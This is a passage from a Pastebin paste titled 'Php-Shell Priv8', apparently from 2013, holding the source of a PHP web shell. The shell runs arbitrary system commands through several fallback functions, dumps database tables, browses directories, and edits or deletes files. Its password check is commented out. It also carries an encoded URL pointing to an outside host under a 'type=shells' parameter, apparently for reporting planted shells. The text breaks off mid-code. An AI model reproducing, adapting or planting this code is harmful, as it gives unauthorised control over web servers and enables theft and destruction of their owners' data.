API tools faq
paste
sirnon

Php-Shell Priv8

sirnon
Jul 24th, 2013
288
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.95 KB | None | 0 0
raw download clone embed print report
  1. <?
  2. ini_set('memory_limit', '1000M');
  3. $_nexpwd = "p4ssw0rdZ";
  4. //if ($_GET['str'] != $_nexpwd) {die();}
  5.  
  6.  
  7. $images = array(
  8.  
  9.  
  10.  
  11. "change"=>
  12. "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAANESURBVHjaYjxx5tZzXh4OHgYk8O3nb4YfP/8zfHhwjkH3aTHD97+WP8+sP7Pw7d173UxMDC+Q1QIEEAsfH6eAhoo0B7Lgr9//GH7+Z2L4+KafQcrgMQPTX2keaVa1onU9924wMjLMZmBEqAUIIJb///7/YUADzKxMDP+fvWQQZN/EwPQaKHDxBMOni0xfPrJwX//99y8D43+EWoAAYmHAAkAWML9ZxsDB8JiB4T0DGJ/nMOb+kJHX9vXzu3hGBsb7rGxsDKwsbAwAAYTVgL+fPjMwf1jEwPwbyPnOxPDsKSPDV4swRnYedttH9587cXJxzb1x5hrD7ZuXGQACCKsBDB/3MzD/ucjA8ION4f/LvwwvpK0YZF2CGb7dvs5w6fvnn2/fvGTYs2MNUOEfBoAAYsKm///DyQysvJwMDF84GN5/5GP4ouHHICQjxcDM8JeBhYWV4cqlK0BV/4CYjQEggDBc8PfFCQZmjltAzcCY/cTA8I5HjUHQIZSB8/9PBj4eXoYjBw8x3LtzHqiSlQ0UYQABhOoCYAj/ezaPgYkDKPwTaPMHHob3Mp4MglLSDCzABMDIzMjw5vVLTpBuIBYBYm6AAGKBRelPUNS8uMjAwv6QgfGPIJDDzvDqOzuDaFAsw68vHxh+//rJ8OnjJwYmRiZgmmGEuZwXIIDgXvgH8tLfH0CGNAMDBy/Dl+dPGd4IWzNw/GNm+Pn6DVAjI8M/oAtBQQQLKlAoAgQQE3Lc//nNCExELgx//7gyXLwmyPBb1YHhDzCd/f33n4GFlQWohhGkC6wRiD8A8VuAAIK7gJWZgeHhy28Ml/YdYZDm5GZgtM1i4FbSZPjz4xvYMmYWJgYubm4GJiamr0Bn/oZgJgaAAGJCdtOP738Ynt96zsBq7M8grGsODOMfDGzAaBMU5GMQExMHuoKZwcbe8begkCwDIyM4EhgAAoiFCQjBSReINY3NGVQMTBmYBYSANv9m+C3Ay8DKzgb0+38GNjZmBmZmFgYuLk6m8KhYhlu3bjLcv3OdASCAWO7eefhh1Yo1PCAnMjIDYwcUWH9+AZ3FDHTZX4b/IE8Dw4CJiZHhAzAWgGHx68vXLwwKCooMqqrqDAABBgD54A4xrMo1ZAAAAABJRU5ErkJggg==",
  13.  
  14.  
  15. "delete" =>
  16. "R0lGODlhEAAQANUAAMczNfRxdPRzdPNydPNzddgqL+AsNN8sM8cpMOY2PuU2PsUgK+UwOfJVYPRja/NjavNja/Nka8UYJ8YZKMUZJ8YgLPJUYMUTJfE/UvA/UfJIWPFIWNRldN+cqMpdSc5uXspXRspYRslYRtWIfMlQQ9ymoMlHPslHP8hHP8c9OeBhW/WBfcc9OuNST/WAfvSAfuPExP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADEALAAAAAAQABAAAAZ8wJhwSCwaj0eYZ1QceWBEWKgVYgpHohYIKiyRXCvSp/QhvcIl4ghFEKhMqkHgZCVyWBHIw/FIcZAACg0NFgkASDEIDBsaGgwISBwVGJSUC39FHBOUBRIFGBkUmEIdF6AXHB0cphkXHUMwFwaoQ6sHF1xCsaNCq7mIwMExQQA7",
  17.  
  18.  
  19. "folder"=>
  20. "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC",
  21. "small_unk"=>
  22. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  23. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  24. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  25. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  26. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  27. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  28. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  29. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  30. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  31. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  32. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  33. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  34. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  35. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  36. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  37. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  38. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  39. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  40. "yAsokBkQADs=",
  41.  
  42. "url"=>
  43. "aHR0cDovL24wdHcuYWx0ZXJ2aXN0YS5vcmcvYy5waHA/dHlwZT1zaGVsbHMmYz0=",
  44.  
  45. "ext_mp3"=>
  46. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  47. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  48. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  49. "ext_exe"=>
  50. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  51. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  52. "xhIAOw==",
  53.  
  54. "ext_html"=>
  55. "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/".
  56. "kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+".
  57. "Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC",
  58.  
  59. "ext_jpg"=>
  60. "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACjUlEQVQ4jW2STW8jRRCGn+rp+UhGdmKPN5YhwYFIDuxHDrn4Hu6RyE/YC8oPyB+BAzlyzoUjSAgJrbRI5IKEEmmFYKNI3ll2bLPxbpZxnJ5uDjNxshJ96Gqpup56u94W5xwHBwfB/v7+l0op5ZwTgP+JjmoVReH29va+Pj09LTTAysrK4pM/069+fDYA5vcAEEBEQAQl5fnz3ipJknwDlIAoilQYhjSaDQCUSFksglRFSlQZlRAvLrC1taWBKw0QBIFarsVsfBggVVsBBEFEiHwPB7TiiLdXhsai0Ol0NEC5ae2tJ8uEdcXo3ZT82jA1BeIcjcgnDjSeEpYDC7zlzfCCVqt1CwjDUP387Iwf/niJrz18z8PXHrXI53F/lSQYUw8sSoAaXDbvkaV/+3cBnhcv8EGyPB9eLfR41KnRqQc0wgb59B++H/3KLxenrC/cZz1a9eYA3/dVgdBY8HjYjnjQDqjH7xjkf/Fk+Irn+Ut+ev0b6dUIgMfRZwRBcAtQSqn+x00+/WjKi2nG8b9jppezylKfuu7yxb1u5YrwqPaAy1dvbgHOOWnVm7Ro8olz3Pkzt/+hKpbK4qfqqZoDynyZMMaQZRmTyYSiKOh2u2RZhjGGOI5ZW1vDOZkXqAqgbujX19cMBgPOzs4wxnBycsJ4PKbdbmOMwSEU1mKtZQ7wPE8rpd6TubS0xPb2Nv1+nzzPybKM8/NzCmNxtmA2m8ndIXo3T0jTlF6vR7PZpHKInZ0drIWNjR5QoLXH8fHx5e7ubqlAa61vOm9ubpIkyXtqnCtnA5YoihgOh78fHh6+nivI8/wiTdNvnXMWsM45KyLWOWedwxbWFcbMbBSGs8lkkh0dHX03Go2mAP8BZNgCDYdm9o4AAAAASUVORK5CYII=",
  61. "ext_php"=>
  62. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  63. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  64. "ext_pl"=>
  65. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  66. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  67. "ext_swf"=>
  68. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  69. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  70. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  71. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  72. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  73. "ext_tar"=>
  74. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  75. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  76. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  77. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  78. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  79. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  80. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  81. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  82. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  83. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  84. "u4tLAgEAOw==",
  85.  
  86. "ext_txt"=>
  87. "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACm0lEQVR42mLs7+//z0ABAAhAcRzbAAjDABD8gpXYy6O4ZxKWQCxATUuB4+A4glD8ST/9iAjr3vDobIdzeaNEjn8pCVYcqzHq2JPcNTmXGVXlE0AsMJPMVZkZ/jMwM9hosDD8A7rpHyMTw5/P7xi+Pn/CwCwizcDExcPw99dvhr9AyT9//8JdABBAcAMEuJmgLCgNNOTP60kMDDycDJ8fyjCwKZkxcEqrMPz9/ZPh/3+4NgaAAGLB5i9QoPx+d4mB8VcvA+sHBgbmB44MP6WNGZj+/Gf4B8L//jGwcUDUAgQQE1YD/gGJL/MYWBm/Mfy7y8Lwm1uPgUNei+H/n19A2/8z/EXyAkAAsWCz/e/HWwxMv3cyMHxWYPjySZSByTyCgZHhH9hmkGaQITAAEECYBgAN//9hMQMrMxvDv7dCDD9l/Ri45XUZ/v36BgzAfwyMjIwMzMzMcPUAAQT3AshUkMv/frnDwMx6AxgIqgzfviowsOr6g0QhipmYgC74h2IhQADBXfD9+w+g6awMTJ/2MLCyCDD8+8jI8J1bg4FbQpnhHzDkfwLTAUjNjx+/GTg4WBn4+PjA+gACCOEFYLz/+/aMgeXnKwYGdiWGr58/MfxXcmP48vU7w/cvnxn+/PnD8AuYDkDh8Pv3L7g2gACCG8AE9Bcojv8ymTL8//ST4c3fT0CDRBj+ffgI9vefP38ZLl06C9cIYwMEEMIAoP++//rHcPvQJQZhRT0GBkVHBiZgfLKwMAOdzA5UwQ5WFx4eDqZBybiwsFAYIIAQBjAyMLBx8jIIKhsy8GmZA6MNmLCBgpyc7AysrKxA/3+D2w7VzAUKOoAAghvAwszEwCIqxaAKxNgAFxc3smYWWNQABBALTJBYgKwZBAACDAAKWftvHUTAkgAAAABJRU5ErkJggg==",
  88.  
  89. );
  90.  
  91. if ($_GET[act] == "img") {
  92.  
  93. header("Content-type: image/gif");
  94. header("Cache-control: public");
  95. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  96. header("Cache-control: max-age=".(60*60*24*7));
  97. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  98.  
  99. $image = $images[$_GET['img']];
  100. echo base64_decode($image);
  101. die();
  102. }
  103. // Function for table dump
  104. function getperms ($perms) { // <--- thx to php.net
  105.  
  106.  
  107. if (($perms & 0xC000) == 0xC000) {
  108. // Socket
  109. $info = 's';
  110. } elseif (($perms & 0xA000) == 0xA000) {
  111. // Symbolic Link
  112. $info = 'l';
  113. } elseif (($perms & 0x8000) == 0x8000) {
  114. // Regular
  115. $info = '-';
  116. } elseif (($perms & 0x6000) == 0x6000) {
  117. // Block special
  118. $info = 'b';
  119. } elseif (($perms & 0x4000) == 0x4000) {
  120. // Directory
  121. $info = 'd';
  122. } elseif (($perms & 0x2000) == 0x2000) {
  123. // Character special
  124. $info = 'c';
  125. } elseif (($perms & 0x1000) == 0x1000) {
  126. // FIFO pipe
  127. $info = 'p';
  128. } else {
  129. // Unknown
  130. $info = 'u';
  131. }
  132.  
  133. // Owner
  134. $info .= (($perms & 0x0100) ? 'r' : '-');
  135. $info .= (($perms & 0x0080) ? 'w' : '-');
  136. $info .= (($perms & 0x0040) ?
  137. (($perms & 0x0800) ? 's' : 'x' ) :
  138. (($perms & 0x0800) ? 'S' : '-'));
  139.  
  140. // Group
  141. $info .= (($perms & 0x0020) ? 'r' : '-');
  142. $info .= (($perms & 0x0010) ? 'w' : '-');
  143. $info .= (($perms & 0x0008) ?
  144. (($perms & 0x0400) ? 's' : 'x' ) :
  145. (($perms & 0x0400) ? 'S' : '-'));
  146.  
  147. // World
  148. $info .= (($perms & 0x0004) ? 'r' : '-');
  149. $info .= (($perms & 0x0002) ? 'w' : '-');
  150. $info .= (($perms & 0x0001) ?
  151. (($perms & 0x0200) ? 't' : 'x' ) :
  152. (($perms & 0x0200) ? 'T' : '-'));
  153.  
  154. return $info;
  155. }
  156.  
  157.  
  158. function datadump ($table) { // <--- thx to mrwebmaster for function
  159.  
  160. # Creo la variabile $result
  161. $result .= "# Dump of $table \n";
  162. $result .= "# Dump DATE : " . date("d-M-Y") ."\n\n";
  163.  
  164. # Conto i campi presenti nella tabella
  165. $query = mysql_query("select * from $table");
  166. $num_fields = @mysql_num_fields($query);
  167.  
  168. # Conto il numero di righe presenti nella tabella
  169. $numrow = mysql_num_rows($query);
  170.  
  171. # Passo con un ciclo for tutte le righe della tabella
  172. for ($i =0; $i<$numrow; $i++)
  173. {
  174. $row = mysql_fetch_row($query);
  175.  
  176. # Ricreo la tipica sintassi di un comune Dump
  177. $result .= "INSERT INTO ".$table." VALUES(";
  178.  
  179. # Con un secondo ciclo for stampo i valori di tutti i campi
  180. # trovati in ogni riga
  181. for($j=0; $j<$num_fields; $j++) {
  182. $row[$j] = addslashes($row[$j]);
  183. $row[$j] = ereg_replace("\n","\\n",$row[$j]);
  184. if (isset($row[$j])) $result .= "\"$row[$j]\"" ; else $result .= "\"\"";
  185. if ($j<($num_fields-1)) $result .= ",";
  186. }
  187.  
  188. # Chiudo l'istruzione INSERT
  189. $result .= ");\n";
  190. }
  191.  
  192. return $result . "\n\n\n";
  193. }
  194.  
  195. // using which THX TO R57
  196. function whicha($pr)
  197. {
  198. $path = exa("which $pr");
  199. if(!empty($path)) { return $path; } else { return $pr; }
  200. }
  201. // executing command THX TO R57
  202. function exa($cfe)
  203. {
  204. $res = '';
  205. if (!empty($cfe))
  206. {
  207. if(function_exists('exec'))
  208. {
  209. @exec($cfe,$res);
  210. $res = join("\n",$res);
  211. }
  212. elseif(function_exists('shell_exec'))
  213. {
  214. $res = @shell_exec($cfe);
  215. }
  216. elseif(function_exists('system'))
  217. {
  218. @ob_start();
  219. @system($cfe);
  220. $res = @ob_get_contents();
  221. @ob_end_clean();
  222. }
  223. elseif(function_exists('passthru'))
  224. {
  225. @ob_start();
  226. @passthru($cfe);
  227. $res = @ob_get_contents();
  228. @ob_end_clean();
  229. }
  230. elseif(@is_resource($f = @popen($cfe,"r")))
  231. {
  232. $res = "";
  233. while(!@feof($f)) { $res .= @fread($f,1024); }
  234. @pclose($f);
  235. }
  236. }
  237. return $res;
  238. }
  239. // function pari
  240. function pari($num) {
  241. return ($num%2 == 0) ? TRUE : FALSE;
  242. }
  243.  
  244.  
  245. // Getting Directory..
  246. if ($_POST['dir'] == "") {
  247. if ($_COOKIE['dir'] == "") {
  248. $dir=realpath(".");
  249. }
  250. else
  251. {
  252. $d = str_replace("\\",DIRECTORY_SEPARATOR, $_COOKIE['dir']);
  253. $d = str_replace("\\\\","\\", $_COOKIE['dir']);
  254. $dir = $d;
  255. }
  256. }
  257. else
  258. {
  259. $dir = str_replace("\\",DIRECTORY_SEPARATOR,$_POST['dir']);
  260. $d = str_replace("\\\\","\\", $_POST['dir']);
  261. setcookie("dir",$dir);
  262. }
  263.  
  264. if (substr($dir,-1) != DIRECTORY_SEPARATOR) {$dir .= DIRECTORY_SEPARATOR;}
  265. // Getting something...
  266. $safemode_off_msg = "<font color=green>Safe Mode: OFF</font><br />";
  267. $safemode_on_msg = "<font color=red>Safe Mode: ON</font><br />";
  268. $gpc_off_msg = "<font color=green>Magic Quotes: OFF</font><br />";
  269. $gpc_on_msg = "<font color=red>Magic Quotes: ON</font><br />";
  270. $auf_on_msg = "<font color=green>Allow URL Fopen: ON</font><br />";
  271. $auf_off_msg = "<font color=red>Allow URL Fopen: OFF</font><br />";
  272. $reglobals_on_msg = "<font color=green>Register Globals: ON</font><br />";
  273. $reglobals_off_msg = stripslashes("<font color=red>Register Globals: OFF</font><br />");
  274. $uname = php_uname();
  275. (ini_get("safe_mode") == 0) ? $safemode = $safemode_off_msg : $safemode = $safemode_on_msg;
  276. (ini_get("magic_quotes_gpc") == 0) ? $gpc = $gpc_off_msg : $gpc = $gpc_on_msg;
  277. (ini_get("allow_url_fopen") == 1) ? $auf = $auf_on_msg : $auf = $auf_off_msg;
  278. (ini_get("register_globals") == 1) ? $reglobals = $reglobals_on_msg : $reglobals = $reglobals_off_msg;
  279.  
  280. $freespace = disk_free_space($dir);
  281. $totalspace = disk_total_space($dir);
  282. $percentfree = round(($freespace*100)/$totalspace);
  283. $percentbusy = 100-$percentfree;
  284. $freespace = intval((($freespace/1024)/1024)/1024);
  285. $totalspace = intval((($totalspace/1024)/1024)/1024);
  286. $freespace .= " GB";
  287. $totalspace .= " GB";
  288. $current_user = "Who are you? ".get_current_user()."<br />";
  289. $uid = "Uid: ".getmyuid()." Gid: ".getmygid()."<br />";
  290.  
  291.  
  292. if ($_POST['mode'] == "") $_POST['mode'] = "ls";
  293. if ($_POST['mode'] == "ls") {
  294. //Directory listing
  295. $output .= "<br /><br />Directory listing [ {$dir} ]<br /><div align=left>";
  296. $output .= '<table width="100%" border="0" cellspacing="0" cellpadding="0">
  297. <tr>
  298.  
  299. <td style="border-bottom:#FFFFFF 1px solid;" width="10%">perms</td>
  300. <td style="border-bottom:#FFFFFF 1px solid;" width="5%">&nbsp;</td>
  301. <td style="border-bottom:#FFFFFF 1px solid;" width="50%">name</td>
  302. <td style="border-bottom:#FFFFFF 1px solid;" width="20%">owner/group</td>
  303. <td style="border-bottom:#FFFFFF 1px solid;" width="15%">actions</td>
  304. </tr>';
  305. $opendir = opendir($dir)or print("<font color=red>Can't open directory</font>");
  306. $i = 1;
  307. while ($file=readdir($opendir)){
  308. $color = "#333333";
  309.  
  310. $icons = array(
  311. "txt" => "ext_txt",
  312. "ini" => "ext_txt",
  313. "sql" => "ext_txt",
  314. "php" => "ext_php",
  315. "pl" => "ext_pl",
  316. "html" => "ext_html", "htm" => "ext_html",
  317. "mp3" => "ext_mp3",
  318. "swf" => "ext_swf",
  319. "rar" => "ext_tar",
  320. "zip" => "ext_tar",
  321. "tar" => "ext_tar",
  322. "gz" => "ext_tar",
  323. "bz" => "ext_tar",
  324. "exe" => "ext_exe",
  325. "jpg" => "ext_jpg", "png" => "ext_jpg", "gif" => "ext_jpg");
  326.  
  327. if ($dir == realpath(".")) {
  328. if (is_file($file)){
  329.  
  330. $ext = array_pop(explode(".",$file));
  331. if (array_key_exists($ext, $icons)) $icon = $icons[$ext];
  332. else $icon = "small_unk";
  333.  
  334. if (function_exists("posix_getpwuid")) {
  335. $uid = posix_getpwuid(fileowner($file));
  336. $gr00p = posix_getgrgid(filegroup($file));
  337. $owner = $uid[name]."/".$gr00p[name]; }
  338. else
  339. {
  340. $owner = fileowner($file)."/".filegroup($file);
  341. }
  342. $perms = fileperms($file);
  343. $info = getperms($perms);
  344. if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
  345. elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
  346. else $info = "<font color=green>{$info}</font>";
  347. $output.= ' <tr style="background-color:'.$color.';">
  348. <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>
  349. <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?act=img&img='.$icon.'" /></td>
  350. <td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td>
  351. <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>
  352. <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td>
  353. </tr>';
  354.  
  355. }
  356. else
  357. {
  358.  
  359. if (function_exists("posix_getpwuid")) {
  360. $uid = posix_getpwuid(fileowner($file));
  361. $gr00p = posix_getgrgid(filegroup($file));
  362. $owner = $uid[name]."/".$gr00p[name]; }
  363. else
  364. {
  365. $owner = fileowner($file)."/".filegroup($file);
  366. }
  367. $perms = fileperms($file);
  368. $info = getperms($perms);
  369. if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
  370. elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
  371. else $info = "<font color=green>{$info}</font>";
  372.  
  373. $output.= ' <tr style="background-color:'.$color.';">
  374. <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>
  375. <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td>';
  376. $output .= '<td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td>
  377. <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>
